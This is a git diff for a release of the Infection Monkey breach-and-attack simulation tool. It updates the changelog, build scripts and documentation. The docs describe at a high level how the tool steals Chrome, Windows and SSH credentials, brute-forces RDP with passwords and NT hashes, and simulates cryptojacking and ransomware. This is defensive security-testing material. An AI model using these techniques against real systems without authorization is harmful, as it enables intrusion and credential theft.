diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 1b35c914325..caa7695b4c8 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -28,6 +28,7 @@ repos: - id: check-json - id: check-merge-conflict - id: detect-private-key + exclude: "envs/monkey_zoo/blackbox/expected_credentials.py" - id: end-of-file-fixer - id: trailing-whitespace - repo: https://github.com/eslint/eslint diff --git a/CHANGELOG.md b/CHANGELOG.md index 8dac4690b0a..e1c7fa97ca0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,12 +5,54 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [2.1.1 - 2023-06-21] +## [2.3.0 - 2023-09-19] +### Added +- Ability to filter Agent events by timestamp. #3397 +- Ability to filter Agent events by tag. #3396 +- Provide a common server object to the plugins that can be used to serve agent + binaries to the exploited machine over HTTP. #3410 +- CPUConsumptionEvent. #3411 +- RAMConsumptionEvent. #3411 +- HTTPRequestEvent. #3411 +- DefacementEvent. #1247 +- RDP exploiter plugin. #3425 +- A cryptojacker payload to simulate cryptojacker attacks. #3411 +- `PUT /api/install-agent-plugin`. #3417 +- `GET /api/agent-plugins/installed/manifests`. #3424 +- `GET /api/agent-plugins/available/index`. #3420 +- `POST /api/uninstall-agent-plugin` # 3422 +- Chrome credentials collector plugin. #3426 +- A plugin interface for payloads. #3390 +- The ability to install plugins from an online repository. #3413, #3418, #3616 +- Support for SMBv2+ in SMB exploiter. #3577 +- A UI for uploading agent plugin archives. #3417, #3611 + +### Changed +- Plugin source is now gzipped. #3392 +- Allowed characters in Agent event tags. #3399, #3676 +- Hard-coded Log4Shell exploiter to a plugin. #3388 +- Hard-coded SSH exploiter to a plugin. #3170 +- Identities and secrets can be associated when configuring credentials in the + UI. #3393 +- Hard-coded ransomware payload to a plugin. #3391 +- Text on the registration screen to improve clarity. #1984 ### Fixed -- A configuration issue that prevents Mimikatz from being used. #3433 +- Agent hanging if plugins do not shut down. #3557 +- WMI exploiter hanging. #3543 +- Discovered network services are displayed in reports. #3000 + +### Removed +- Island mode configuration. #3400 +- Agent plugins from Island packages. #3616 + +### Security +- Fixed a ReDoS issue when validating ransomware file extensions. #3391 +## [2.2.1 - 2023-06-21] +### Fixed +- A configuration issue that prevents Mimikatz from being used. #3433 ## [2.2.0 - 2023-05-31] ### Added @@ -37,6 +79,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Hard-coded PowerShell exploiter to a plugin. #3165 ### Fixed +- Agents were being caught by Windows Defender (and other antiviruses). #1289 - Plugins are now being checked for local OS compatibility. #3275 - A bug that could prevent multi-hop propagation via SMB. #3173 - Exceptions being raised when WMI and Zerologon are used together. #1774 @@ -45,8 +88,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - A bug in URL sanitization. #3318 ### Security -- Fixes a bug where OTPs can be leaked by the hadoop exploiter. #3296 -- Fixes pypykatz leaking sensitive information into the logs. #3168, #3293 +- Fixed a bug where OTPs can be leaked by the hadoop exploiter. #3296 +- Fixed pypykatz leaking sensitive information into the logs. #3168, #3293 ## [2.1.0] - 2023-04-19 ### Added diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 3f06f0cf020..7ee85985649 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -2,7 +2,7 @@ # Changes: python version LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage" -PYTHON_VERSION="3.11.4" +PYTHON_VERSION="3.11.5" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.11/python${PYTHON_VERSION}-cp311-cp311-manylinux2014_x86_64.AppImage" APPIMAGE_DIR=$(realpath "$(dirname "${BASH_SOURCE[0]}")") APPDIR="$APPIMAGE_DIR/squashfs-root" diff --git a/build_scripts/appimage/server_config.json.standard b/build_scripts/appimage/server_config.json.standard index 889654ea2b2..0fee130ccb5 100644 --- a/build_scripts/appimage/server_config.json.standard +++ b/build_scripts/appimage/server_config.json.standard @@ -1,9 +1,6 @@ { "data_dir": "~/.monkey_island", "log_level": "DEBUG", - "environment": { - "server_config": "password" - }, "mongodb": { "start_mongodb": true } diff --git a/build_scripts/build_agent_linux.sh b/build_scripts/build_agent_linux.sh index 0a55907abb8..830fd7e33ed 100755 --- a/build_scripts/build_agent_linux.sh +++ b/build_scripts/build_agent_linux.sh @@ -69,7 +69,7 @@ cd /src/monkey/infection_monkey && " build_commands=" -pipenv sync && +SKIP_CYTHON=1 PIP_NO_BINARY=pydantic pipenv sync && pipenv run bash build_linux.sh && echo 'Copying agent binary to \"${DIST_DIR}\"' && cp dist/monkey-linux-64 /dist diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 112deeb402e..5b7d53b2781 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -163,6 +163,8 @@ is sent to the update server to fetch the latest version number and a download link for it. This information is used by the Monkey Island to suggest an update if one is available. +1. When you install a plugin it is downloaded from our official repository. + ## Logging and how to find logs ### Downloading logs diff --git a/docs/content/development/contribute-documentation.md b/docs/content/development/contribute-documentation.md index bd9e7fd6800..8be24cb4b83 100644 --- a/docs/content/development/contribute-documentation.md +++ b/docs/content/development/contribute-documentation.md @@ -9,7 +9,7 @@ tags: ["contribute"] The `/docs` folder contains the Infection Monkey Documentation site. The site is based on [Hugo](https://gohugo.io/) and the [learn](https://themes.gohugo.io/theme/hugo-theme-learn/en) theme. -The Hugo version being used is 0.92.0. +The Hugo version being used is [v0.92.0](https://github.com/gohugoio/hugo/releases/tag/v0.92.0). - [Directory structure](#directory-structure) - [content](#content) diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index 0b1c3bcfd93..aa5d4b9c167 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -8,21 +8,32 @@ tags: ["contribute"] ## Deployment scripts -To set up a development environment using scripts, look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/develop/deployment_scripts). If you want to set it up manually or run into problems, keep reading. +To set up a development environment using scripts, look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/master/deployment_scripts). If you want to set it up manually or run into problems, keep reading. ## The Infection Monkey Agent -The Agent (which we sometimes refer to as the Monkey) is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. The Infection Monkey Agent was built for Python 3.11. You can get it up and running by setting up a [virtual environment](https://docs.python-guide.org/dev/virtualenvs/) and installing the requirements listed in the [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/requirements.txt) inside it. +The Agent (which we sometimes refer to as the Monkey) is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. The Infection Monkey Agent was built for Python 3.11. You can get it up and running by using[`pipenv`](https://pypi.org/project/pipenv/). -In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. +Follow these steps to install the requirements- + +- Create and activate your virtual environment +- Run +```bash + pip install -U pip + pip install pipenv +``` +- Do a `find` to find all files named 'Pipfile' +- For each `Pipfile`, cd to that directory and run `pipenv sync` + +In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/tree/master/monkey/infection_monkey) on each supported environment. This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions. ## The Monkey Island -The Monkey Island is a Python backend React frontend project. Similar to the Agent, the backend's requirements are listed in the matching [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/requirements.txt). +The Monkey Island is a Python backend React frontend project. Similar to the Agent, the backend can be installed similar to `infection_monkey`. -To setup a working front environment, run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/readme.txt) +To setup a working front environment, run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/readme.md) ## Pre-commit diff --git a/docs/content/reference/credentials_collectors/_index.md b/docs/content/reference/credentials_collectors/_index.md new file mode 100644 index 00000000000..b669792b3b4 --- /dev/null +++ b/docs/content/reference/credentials_collectors/_index.md @@ -0,0 +1,15 @@ +--- +title: "Credentials Collectors" +date: 2023-09-13T16:35:19+05:30 +weight: 100 +chapter: true +pre: ' ' +tags: ["reference", "credentials collectors"] +--- + + +# Credentials Collectors + +Infection Monkey has multiple ways to steal credentials from compromised machines: + +{{% children %}} diff --git a/docs/content/reference/credentials_collectors/chrome.md b/docs/content/reference/credentials_collectors/chrome.md new file mode 100644 index 00000000000..25c443cadfd --- /dev/null +++ b/docs/content/reference/credentials_collectors/chrome.md @@ -0,0 +1,12 @@ +--- +title: "Chrome" +date: 2023-09-13T16:35:11+05:30 +tags: ["credentials collector", "chrome", "linux", "windows"] +weight: 1 +--- + +## Description + +The Chrome Credentials Collector steals saved credentials from Chrome-based browsers. +On Linux, it targets Google Chrome and Chromium. On Windows, it targets Google Chrome +and Microsoft Edge. diff --git a/docs/content/reference/credentials_collectors/mimikatz.md b/docs/content/reference/credentials_collectors/mimikatz.md new file mode 100644 index 00000000000..72da7b00869 --- /dev/null +++ b/docs/content/reference/credentials_collectors/mimikatz.md @@ -0,0 +1,12 @@ +--- +title: "Mimikatz" +date: 2023-09-13T16:51:44+05:30 +tags: ["credentials collector", "mimikatz", "windows"] +weight: 2 +--- + +## Description + +The Mimikatz Credentials Collector uses [pypykatz](https://github.com/skelsec/pypykatz) +(a pure-Python implementation of [mimikatz](https://github.com/gentilkiwi/mimikatz)) +to steal credentials from Windows Credential Manager. diff --git a/docs/content/reference/credentials_collectors/ssh.md b/docs/content/reference/credentials_collectors/ssh.md new file mode 100644 index 00000000000..4486c7a4efa --- /dev/null +++ b/docs/content/reference/credentials_collectors/ssh.md @@ -0,0 +1,14 @@ +--- +title: "SSH" +date: 2023-09-13T16:51:38+05:30 +tags: ["credentials collector", "ssh", "linux"] +weight: 3 +--- + +## Description + +The SSH Credentials Collector steals SSH keys from Linux users. + +For all users on the system, it locates the `/home//.ssh` +directory and steals keypairs from it. The supported private key +encryption formats are RSA, DSA, EC, and ECDSA. diff --git a/docs/content/reference/exploiters/RDP.md b/docs/content/reference/exploiters/RDP.md new file mode 100644 index 00000000000..13f16cf749d --- /dev/null +++ b/docs/content/reference/exploiters/RDP.md @@ -0,0 +1,39 @@ +--- +title: "RDP" +date: 2023-08-08T13:29:21+03:00 +draft: false +tags: ["exploit", "windows"] +--- + +### Description + +This exploiter uses brute force to propagate through the network via Remote +Desktop Protocol (RDP). For more information about RDP, see [Microsoft's +documentation](https://learn.microsoft.com/en-us/windows/win32/termserv/remote-desktop-protocol). + + +#### Credentials used + +The RDP exploiter can be run from both Linux and Windows attackers and will +use configured or stolen credentials to propagate. Different combinations of +credentials are attempted in the following order: + +1. **Brute force usernames and passwords** - The exploiter will attempt to use + all combinations of usernames and passwords that were set in the + [configuration]({{< ref "/usage/configuration/credentials" >}}) or stolen by + a credentials collector. + + +1. **Brute force usernames and NT hashes** - The exploiter will attempt to use + all combinations of usernames and NT Hashes that were set in the [configuration]({{< ref + "/usage/configuration/credentials" >}}) or stolen by a credentials collector. + + This only works on Windows 8.1 and Windows Server 2012 R2. You can read more + [here](https://www.kali.org/blog/passing-hash-remote-desktop/). + + +#### Securing Remote Desktop Protocol + +For information about remediating RDP-related security risks, see +[Microsoft's +guidance](https://www.microsoft.com/en-us/security/blog/2020/04/16/security-guidance-remote-desktop-adoption/). diff --git a/docs/content/reports/ransomware.md b/docs/content/reports/ransomware.md index 29c9b7663e6..40bd879fa29 100644 --- a/docs/content/reports/ransomware.md +++ b/docs/content/reports/ransomware.md @@ -7,13 +7,12 @@ description: "Provides information about ransomware simulation on your network" --- {{% notice info %}} -Check out [the Infection Monkey's ransomware simulation documentation]({{< ref -"/usage/scenarios/ransomware-simulation" >}}) and [the documentation for other +Check out [the documentation for other available reports]({{< ref "/reports" >}}). {{% /notice %}} The Infection Monkey can be configured to [simulate a ransomware -attack](/usage/scenarios/ransomware-simulation) on your network. After running, +attack](/usage/ransomware-simulation) on your network. After running, it generates a **Ransomware Report** that provides you with insight into how ransomware might behave within your environment. diff --git a/docs/content/reports/security.files/infection_monkey_security_report_example.pdf b/docs/content/reports/security.files/infection_monkey_security_report_example.pdf deleted file mode 100644 index 37cbb0e9113..00000000000 Binary files a/docs/content/reports/security.files/infection_monkey_security_report_example.pdf and /dev/null differ diff --git a/docs/content/reports/security.md b/docs/content/reports/security.md index 353bf3f0571..9b9673081d6 100644 --- a/docs/content/reports/security.md +++ b/docs/content/reports/security.md @@ -10,9 +10,7 @@ description: "Provides actionable recommendations and insight into an attacker's Check out [the documentation for other reports available in the Infection Monkey]({{< ref "/reports" >}}). {{% /notice %}} -The Infection Monkey's **Security Report** provides you with actionable recommendations and insight into an attacker's view of your network. You can download a PDF of an example report here: - -{{%attachments title="Download the PDF" pattern=".*(pdf)"/%}} +The Infection Monkey's **Security Report** provides you with actionable recommendations and insight into an attacker's view of your network. The report is split into the following categories: diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index 8fa319e0e31..91dd613d4b5 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -26,6 +26,8 @@ When ready, you can browse to the Infection Monkey running on the fresh deployme To login to the machine, use *ubuntu* username. +Once you have access to the Monkey Island server, check out the [getting started page]({{< ref "/usage/getting-started" >}}). + ## Integration with AWS services The Infection Monkey has built-in integrations with AWS that allows running Agents on EC2 instances. diff --git a/docs/content/setup/azure.md b/docs/content/setup/azure.md index c1d60cb58ea..68887c112da 100644 --- a/docs/content/setup/azure.md +++ b/docs/content/setup/azure.md @@ -28,6 +28,8 @@ you can browse to the Infection Monkey running on your fresh deployment at: `https://{public-ip-address}:5000` +Once you have access to the Monkey Island server, check out the [getting started page]({{< ref "/usage/getting-started" >}}). + ## Upgrading Currently, there's no "upgrade-in-place" option when a new version is released. diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index dcd866c5d48..8120f5b3fa4 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -65,6 +65,8 @@ been signed by a private certificate authority. After the Monkey Island docker container starts, you can access Monkey Island by pointing your browser at `https://localhost:5000`. +Once you have access to the Monkey Island server, check out the [getting started page]({{< ref "/usage/getting-started" >}}). + ## Configuring the server You can configure the server by mounting a volume and specifying a diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 44438643613..d475c9bc53c 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -29,11 +29,11 @@ On Windows, AppImage can be run in WSL 2. 1. Make the AppImage package executable: ```bash - chmod u+x InfectionMonkey-v2.2.0.AppImage + chmod u+x InfectionMonkey-v2.3.0.AppImage ``` 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v2.2.0.AppImage + ./InfectionMonkey-v2.3.0.AppImage ``` If you get errors related to FUSE, you may need to install FUSE 2.X first: @@ -43,7 +43,8 @@ On Windows, AppImage can be run in WSL 2. ``` More information about fixing FUSE-related errors can be found [here](https://docs.appimage.org/user-guide/troubleshooting/fuse.html). 1. Access the Monkey Island web UI by pointing your browser at - `https://localhost:5000`. + `https://localhost:5000`. Once you have access to the Monkey Island server, check out the +[getting started page]({{< ref "/usage/getting-started" >}}). {{% notice info %}} If you're prompted to delete your data directory and you're not sure what to @@ -58,12 +59,12 @@ The Infection Monkey can be installed as a service and run on boot by running th with the following parameters. This requires root permissions, so run `sudo -v` and enter your password before running the script, if required. ```bash -./InfectionMonkey-v2.2.0.AppImage service --install --user +./InfectionMonkey-v2.3.0.AppImage service --install --user ``` To uninstall it, run: ```bash -./InfectionMonkey-v2.2.0.AppImage service --uninstall +./InfectionMonkey-v2.3.0.AppImage service --uninstall ``` {{% notice info %}} @@ -77,7 +78,7 @@ You can configure the server by creating a [server configuration file](../../reference/server_configuration) and providing a path to it via command line parameters: -`./InfectionMonkey-v2.2.0.AppImage --server-config="/path/to/server_config.json"` +`./InfectionMonkey-v2.3.0.AppImage --server-config="/path/to/server_config.json"` ### Start Monkey Island with user-provided certificate @@ -113,7 +114,7 @@ The server configuration file should look something like: 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v2.2.0.AppImage --server-config="/path/to/server_config.json" + ./InfectionMonkey-v2.3.0.AppImage --server-config="/path/to/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at @@ -134,7 +135,7 @@ The server configuration file should look something like: 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v2.2.0.AppImage --server-config="/path/to/server_config.json" + ./InfectionMonkey-v2.3.0.AppImage --server-config="/path/to/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 860d931aac6..2855f68d0ca 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -27,7 +27,9 @@ do, see the [FAQ]({{< ref "/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why" >}}) for more information. {{% /notice %}} -> + +Once you have access to the Monkey Island server, check out the [getting started page]({{< ref "/usage/getting-started" >}}). + ## Configuring the server You can configure the server by editing [the configuration diff --git a/docs/content/usage/cryptojacker-simulation.md b/docs/content/usage/cryptojacker-simulation.md new file mode 100644 index 00000000000..177503e9edd --- /dev/null +++ b/docs/content/usage/cryptojacker-simulation.md @@ -0,0 +1,45 @@ +--- +title: " Cryptojacker Simulation" +date: 2022-08-09T13:51:13-04:00 +draft: false +description: "Simulate a cryptojacking attack on your network and assess the potential damage." +weight: 6 +pre: " " +--- + +The Infection Monkey is capable of simulating the behavior of a cryptojacker by +using the CPU and memory of infected systems to perform cryptographic +operations. It can also send network requests that imitate bitcoin mining +network traffic. + +## Production safety + +This module is not considered to be safe for production environments because +it can consume large amounts of CPU and RAM. If the module is configured to +consume excessive amounts of CPU and RAM, it may cause some systems or services +to become unstable. Users are advised to use caution when setting the CPU and +memory utilization options so as not to negatively impact production +environments. + +## Configuration options +![Cryptojacker configuration](/images/island/configuration_page/cryptojacker_configuration.png "Cryptojacker configuration") +### Duration +This option controls how long the cryptojacking simulation will run. The +simulation will automatically shut itself down after the configured time has +elapsed. + +### CPU utilization +The cryptojacking simulation will attempt to consume the specified percentage +of a single CPU core. + +### Memory utilization +The cryptojacking simulation will attempt to consume the specified percentage +of system RAM. Note that an internal safeguard prevents this component from +consuming more than 90% of the available RAM. Therefore, while specifying 100% +is possible, this component has a theoretical upper limit that prevents it from +consuming more than 90% of total system RAM. + +### Simulate bitcoin mining network traffic +If enabled, the cryptojacking simulation will send bitcoin `getblocktemplate` +requests via HTTP over the network to the Island. This can help verify that +NIDSs are working properly. diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index a0a730f7a37..9b358a676bb 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -30,17 +30,22 @@ $ sha256sum | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| -| monkey-linux-64 | Linux Agent | 2.2.1 | `333a9f5c32780aa32e822f95801a13263015afd3fa11d5e5b1c4fb0af30279fc` | -| monkey-windows-64.exe | Windows Agent | 2.2.1 | `d49b233a31f808af4786b8cedd3772f8b79f28fe726915387542d5c8bed2fafc` | -| InfectionMonkey-docker-v2.2.1.tgz | Docker | 2.2.1 | `21f84970ef69d21d779c43046a475cd8acefaaf16836f801d5c4c4ca987f86e8` | -| InfectionMonkey-v2.2.1.AppImage | Linux Package | 2.2.1 | `cc9af5fe29cd978bbecafe454c9d722921870361fd1351c2447681b4cbe1b4a4` | -| InfectionMonkey-v2.2.1.exe | Windows Installer | 2.2.1 | `74cd99dd087334ab7a87aafc5cc21faca48f32baa5bb38b51223434c548776b3` | +| monkey-linux-64 | Linux Agent | 2.3.0 | `0a4d11edbd3b96053d84d9e5190f45c75bffd601a97dadfddefe2a8e1c189c37` | +| monkey-windows-64.exe | Windows Agent | 2.3.0 | `30ccba0b6066c7a6179b6c00f81af1f8171dab34de27b7f08096c2fe016cd72d` | +| InfectionMonkey-docker-v2.3.0.tgz | Docker | 2.3.0 | `35d92032582ea1a8bee8cfcc5a686389a6c39e8ab883c2ecd7c89548b5523653` | +| InfectionMonkey-v2.3.0.AppImage | Linux Package | 2.3.0 | `8fc613a02c18c45d136753224b86a24740e18c0e3226786c92b93ca6be7d345d` | +| InfectionMonkey-v2.3.0.exe | Windows Installer | 2.3.0 | `66f5b06f1c85c26393dd990e0539a22833a4455b0eed3a08f43dcafaaa92fa0c` | ## Older checksums | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-linux-64 | Linux Agent | 2.2.1 | `333a9f5c32780aa32e822f95801a13263015afd3fa11d5e5b1c4fb0af30279fc` | +| monkey-windows-64.exe | Windows Agent | 2.2.1 | `d49b233a31f808af4786b8cedd3772f8b79f28fe726915387542d5c8bed2fafc` | +| InfectionMonkey-docker-v2.2.1.tgz | Docker | 2.2.1 | `21f84970ef69d21d779c43046a475cd8acefaaf16836f801d5c4c4ca987f86e8` | +| InfectionMonkey-v2.2.1.AppImage | Linux Package | 2.2.1 | `cc9af5fe29cd978bbecafe454c9d722921870361fd1351c2447681b4cbe1b4a4` | +| InfectionMonkey-v2.2.1.exe | Windows Installer | 2.2.1 | `74cd99dd087334ab7a87aafc5cc21faca48f32baa5bb38b51223434c548776b3` | | monkey-windows-64.exe | Windows Agent | 2.1.0 | `883b16c9f8d9a532da6787a1a088bef6fabba782058bcedbd1e02afc613b88c2` | | monkey-linux-64 | Linux Agent | 2.1.0 | `d7217665f714fbde6657f3b4ac60182779dfd2668fc9a308a77fc595be711252` | | InfectionMonkey-v2.1.0.AppImage | Linux Package | 2.1.0 | `a788e693d4e785e039aad513ebd626be1d265e961a2f44dc06df3c9eae33cd8e` | diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md index f374656700b..f41626b237e 100644 --- a/docs/content/usage/getting-started.md +++ b/docs/content/usage/getting-started.md @@ -20,6 +20,14 @@ After deploying the Monkey Island in your environment, navigate to `https://}}). + +![Plugin Installation Screen](/images/island/plugins_page/plugin_installation.PNG "Plugin Installation") + ### Running the Infection Monkey To get the Infection Monkey running as fast as possible, click **Run Monkey**. Optionally, you can configure the Infection Monkey before you continue by clicking on **Configuration** (see [how to configure the Infection Monkey](../configuration)). diff --git a/docs/content/usage/plugins/_index.md b/docs/content/usage/plugins/_index.md new file mode 100644 index 00000000000..432afcc478d --- /dev/null +++ b/docs/content/usage/plugins/_index.md @@ -0,0 +1,26 @@ ++++ +title = "Plugins" +date = 2023-08-31T14:39:18+00:00 +weight = 10 +chapter = false +pre = ' ' ++++ + +## Overview + +The Infection Monkey is extensible! You can install plugins to enhance the functionality of the Infection Monkey. + +Plugins page consists of three tabs: + +- **Available Plugins** - A table of plugins that are available for download and installation. +- **Installed Plugins** - A table of plugins that are currently installed on the Monkey Island. You can + uninstall or update plugins from this table. +- **Upload New Plugin** - A form to upload a new plugin to the Monkey Island. This is useful if you + want to install a plugin that is not officially released yet. + +![Plugin Installation Screen](/images/island/plugins_page/plugin_installation.PNG "Plugin Installation") + +## Troubleshooting + +First, make sure that the machine running Monkey Island has access to the internet. If it does, +check the [Island logs]({{< ref "/FAQ/#monkey-island-server-logs" >}}). diff --git a/docs/content/usage/scenarios/ransomware-simulation.md b/docs/content/usage/ransomware-simulation.md similarity index 61% rename from docs/content/usage/scenarios/ransomware-simulation.md rename to docs/content/usage/ransomware-simulation.md index a64950679fd..3960a875a67 100644 --- a/docs/content/usage/scenarios/ransomware-simulation.md +++ b/docs/content/usage/ransomware-simulation.md @@ -3,35 +3,33 @@ title: " Ransomware Simulation" date: 2021-06-23T18:13:59+05:30 draft: false description: "Simulate a ransomware attack on your network and assess the potential damage." -weight: 1 -pre: "" +weight: 6 +pre: " " --- The Infection Monkey is capable of simulating a ransomware attack on your -network using a set of configurable behaviors. - - -## Encryption - -In order to simulate the behavior of ransomware as accurately as possible, -the Infection Monkey can [encrypt user-specified files](#configuring-encryption) -using a [fully reversible algorithm](#how-are-the-files-encrypted). A number of -mechanisms are in place to ensure that all actions performed by the encryption -routine are safe for production environments. - -### Preparing your environment for a ransomware simulation - -The Infection Monkey will only encrypt files that you allow it to. In -order to take full advantage of the Infection Monkey's ransomware simulation, you'll +network using a set of configurable behaviors. In order to simulate the +behavior of ransomware as accurately as possible, the Infection Monkey can +[encrypt user-specified files](#configuring-encryption) using a [fully +reversible algorithm](#how-are-the-files-encrypted). A number of mechanisms are +in place to ensure that all actions performed by the encryption routine are +safe for production environments. + +## Workflow +### 1. Prepare your environment for a ransomware simulation + +The Infection Monkey will only encrypt files that you allow it to. In order to +take full advantage of the Infection Monkey's ransomware simulation, you'll need to provide the Infection Monkey with a directory that contains files that -are safe for it to encrypt. The recommended approach is to use a remote -administration tool, such as +are safe for it to encrypt. The recommended approach is to use a configuration +management tool, such as [Ansible](https://docs.ansible.com/ansible/latest/user_guide/) or -[PsExec](https://theitbros.com/using-psexec-to-run-commands-remotely/) to add a -"ransomware target" directory to each machine in your environment. The Infection -Monkey can then be configured to encrypt files in this directory. +[PsExec](https://theitbros.com/using-psexec-to-run-commands-remotely/), or even +a Windows GPO, to add a "ransomware target" directory to each machine in your +environment. The Infection Monkey can then be configured to encrypt files in +this directory. -### Configuring encryption +### 2. Configure encryption To ensure minimum interference and easy recoverability, the ransomware simulation will only encrypt files contained in a user-specified directory. If @@ -43,8 +41,33 @@ Monkey to use instead. You can even provide no file extension, but take caution: you'll no longer be able to tell if the file has been encrypted based on the filename alone! -![Ransomware configuration](/images/island/configuration_page/ransomware_configuration.png "Ransomware configuration") +![Ransomware +configuration](/images/island/configuration_page/ransomware_configuration.png +"Ransomware configuration") + +### 3. Configure propagation + +If you would like the Infection Monkey to propagate through the network, +[Configure](/usage/configuration/) the network settings and one or more +exploiters. + +### 4. Run the Agent + +Once everything is configured to your liking, simply [run the +agent](/usage/getting-started#running-the-infection-monkey) to begin the +ransomware simulation. + +### 5. Clean up + +After the simulation is complete, you can use the same mechanism you used in +[step +1](/usage/ransomware-simulation#1-prepare-your-environment-for-a-ransomware-simulation) +to either remove the target directory or replace the encrypted files with +unencrypted files. In most cases, there's no need to attempt to decrypt the +files, as you should still have the originals. + +## Technical details ### How are the files encrypted? Files are "encrypted" in place with a simple bit flip. Encrypted files are @@ -57,17 +80,16 @@ Flipping a file's bits is sufficient to simulate the encryption behavior of ransomware, as the data in your files has been manipulated (leaving them temporarily unusable). Files are then renamed with a new extension appended, which is similar to the way that many ransomwares behave. As this is a -simulation, your -security solutions should be triggered to notify you or prevent these changes -from taking place. +simulation, your security solutions should be triggered to notify you or +prevent these changes from taking place. ### Which files are encrypted? During the ransomware simulation, attempts will be made to encrypt all regular files with [targeted file extensions](#files-targeted-for-encryption) in the configured directory. The simulation is not recursive, i.e. it will not touch -any files in sub-directories of the configured directory. The Infection Monkey will -not follow any symlinks or shortcuts. +any files in sub-directories of the configured directory. The Infection Monkey +will not follow any symlinks or shortcuts. These precautions are taken to prevent the Infection Monkey from accidentally encrypting files that you didn't intend to encrypt. @@ -154,14 +176,14 @@ BitDefender](https://labs.bitdefender.com/2017/07/a-technical-look-into-the-gold - .zip -## Leaving a README.txt file +### Leaving a README.txt file Many ransomware packages leave a README.txt file on the victim machine with an -explanation of what has occurred and instructions for paying the attacker. -The Infection Monkey will also leave a README.txt file in the target directory on +explanation of what has occurred and instructions for paying the attacker. The +Infection Monkey will also leave a README.txt file in the target directory on the victim machine in order to replicate this behavior. The README.txt file informs the user that a ransomware simulation has taken place and that they should contact their administrator. The contents of the file can be found -[here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). +[here](https://github.com/guardicore/monkey/blob/master/monkey/agent_plugins/payloads/ransomware/src/ransomware_readme.txt). diff --git a/docs/content/usage/scenarios/_index.md b/docs/content/usage/scenarios/_index.md index 3126414367e..1f2ac6d88d6 100644 --- a/docs/content/usage/scenarios/_index.md +++ b/docs/content/usage/scenarios/_index.md @@ -8,21 +8,14 @@ pre = " " # Scenarios -This section describes the different attack scenarios that the Infection Monkey can simulate. - {{% notice note %}} Don't worry! The Infection Monkey uses safe exploiters and does not cause any permanent system modifications that could impact security or operations. {{% /notice %}} -The Infection Monkey has pre-built scenarios to simulate common types of attacks that take place. These scenarios, when selected, manipulate the configuration to only show you what you need to see for that scenario. This makes it possible for you to quickly run the Monkey on your network in order to accomplish a specific objective. - -Choosing the "Custom" scenario will allow you to fine-tune your simulation and access all available features. [Read more about configuring a custom simulation.](/custom-scenario/_index.md) - -![Choose scenario](/images/island/landing_page/choose_scenario.png "Choose a scenario") - -To exit a scenario and select another one, click on "Reset". -![Reset](/images/island/others/reset_modal.png "Reset") +The Infection Monkey is a versatile breach and attack simulation tool. It allows +you to configure the simulation according to your needs. +You can enhance, optimize, and fine-tune the Monkey's behavior. -## Section contents +Here are some examples with instructions on how to configure them. {{% children description=True style="p"%}} diff --git a/docs/content/usage/scenarios/custom-scenario/credential-leak.md b/docs/content/usage/scenarios/credential-leak.md similarity index 100% rename from docs/content/usage/scenarios/custom-scenario/credential-leak.md rename to docs/content/usage/scenarios/credential-leak.md diff --git 